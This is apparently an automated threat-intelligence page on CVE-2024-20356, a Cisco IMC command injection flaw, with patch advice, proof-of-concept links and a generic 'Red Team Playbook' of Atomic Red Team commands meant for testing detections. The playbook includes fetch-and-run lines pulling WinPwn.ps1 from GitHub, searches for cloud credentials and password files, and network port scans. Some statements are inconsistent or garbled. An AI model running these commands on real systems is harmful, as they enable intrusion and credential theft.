CVE-2024-20356
Overview
This vulnerability is a command injection flaw rooted in insufficient input validation within the web-based management interface of the Cisco Integrated Management Controller (IMC). The affected component improperly sanitizes administrator-level command inputs, allowing crafted payloads to be executed on the system. The flaw specifically impacts the Cisco Unified Computing System (Standalone) management interface, enabling privilege escalation through manipulation of command parameters.
Vulnerability Description
A vulnerability in the web-based management interface of Cisco Integrated Management Controller (IMC) could allow an authenticated, remote attacker with Administrator-level privileges to perform command injection attacks on an affected system and elevate their privileges to root. This vulnerability is due to insufficient user input validation. An attacker could exploit this vulnerability by sending crafted commands to the web-based management interface of the affected software. A successful exploit could allow the attacker to elevate their privileges to root.
Impact
An attacker with Administrator-level authentication can leverage this vulnerability to execute arbitrary commands on the affected system with root-level privileges, effectively escalating their access beyond intended limits. This can result in full system compromise, unauthorized configuration changes, and potential lateral movement within the network. Exploitation requires network access to the management interface and valid administrator credentials, aligning with the CVSS vector of AV:N/AC:L/PR:H/UI:N.
Solution
Cisco has released a security advisory (cisco-sa-cimc-cmd-inj-bLuPcb) detailing patches for the affected Cisco Unified Computing System (Standalone) versions. Administrators should apply the updates provided in this advisory to remediate the command injection vulnerability. The advisory includes version-specific fixes and recommended upgrade procedures. No alternative workarounds are specified; immediate patching is advised to ensure system integrity.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the web-based management interface of Cisco Integrated Management Controller (IMC) stems from inadequate user input validation, which can lead to command injection attacks. This type of vulnerability allows an attacker with Administrator-level privileges to send specially crafted commands to the management interface. When the system fails to properly validate these inputs, it can inadvertently execute malicious commands, granting the attacker elevated privileges, potentially up to root level. This escalation of privileges can lead to full control over the affected system, allowing for further exploitation or manipulation of sensitive data and system configurations.
Attack vectors for this vulnerability are primarily focused on authenticated users who possess Administrator-level access. An attacker could exploit this vulnerability by crafting specific commands that the system would execute without proper validation. For instance, an attacker could leverage a session with valid credentials to inject commands that alter system settings, access sensitive information, or even install malicious software. Such exploitation could occur during routine administrative tasks, where the attacker might disguise their malicious commands within legitimate administrative actions, making detection more challenging.
The real-world impact of this vulnerability is significant, particularly for organizations relying on Cisco IMC for managing their infrastructure. Successful exploitation could lead to unauthorized access to critical systems, data breaches, and potential disruption of services. The ability to elevate privileges to root means that an attacker could manipulate system configurations, leading to further vulnerabilities or even complete system compromise. The business risks associated with such an incident include financial losses, reputational damage, regulatory penalties, and the costs associated with incident response and recovery efforts. Organizations may also face increased scrutiny from stakeholders and customers regarding their security posture.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments and penetration testing can help identify potential weaknesses in the management interface. Additionally, organizations should enforce strict access controls, ensuring that only authorized personnel have Administrator-level privileges. Monitoring and logging of administrative actions can aid in detecting anomalous behavior indicative of exploitation attempts. Furthermore, applying security patches and updates provided by Cisco is crucial in mitigating the risk associated with this vulnerability. User training on secure practices and the importance of input validation can also help reduce the likelihood of exploitation.
In conclusion, the vulnerability in the Cisco Integrated Management Controller's web-based management interface poses a serious threat to organizations that utilize this technology. The potential for command injection attacks leading to privilege escalation highlights the importance of robust input validation and access control measures. By understanding the technical details, attack vectors, real-world impacts, and effective detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities. Proactive security measures, combined with a culture of security awareness, are essential in safeguarding critical infrastructure from emerging threats.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-20356, evidenced by a recent surge in telemetry detections. This increase corresponds with the emergence of new proof-of-concept exploits publicly available on GitHub, which have garnered attention within the security community. Although the EPSS score has only marginally increased, the stable yet elevated score near the 0.98th percentile underscores sustained exploitation potential. For defenders, this heightened activity signals an increased likelihood of adversaries leveraging this vulnerability in operational environments, particularly given the administrative access prerequisite that could facilitate rapid privilege escalation to root. Consequently, the risk level associated with CVE-2024-20356 should be considered elevated, reflecting both the growing exploitation interest and the availability of accessible attack tools that lower the barrier for threat actors.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
nettitude/CVE-2024-20356
This is a proof of concept for CVE-2024-20356, a Command Injection vulnerability in Cisco's CIMC.
|
nettitude | 55 | 11 | 2024-04-12 | View |
|
SherllyNeo/CVE_2024_20356
A oxidized version of https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py
|
SherllyNeo | 1 | 0 | 2024-05-20 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
43%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-20356 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-cmd-inj-bLuPcb |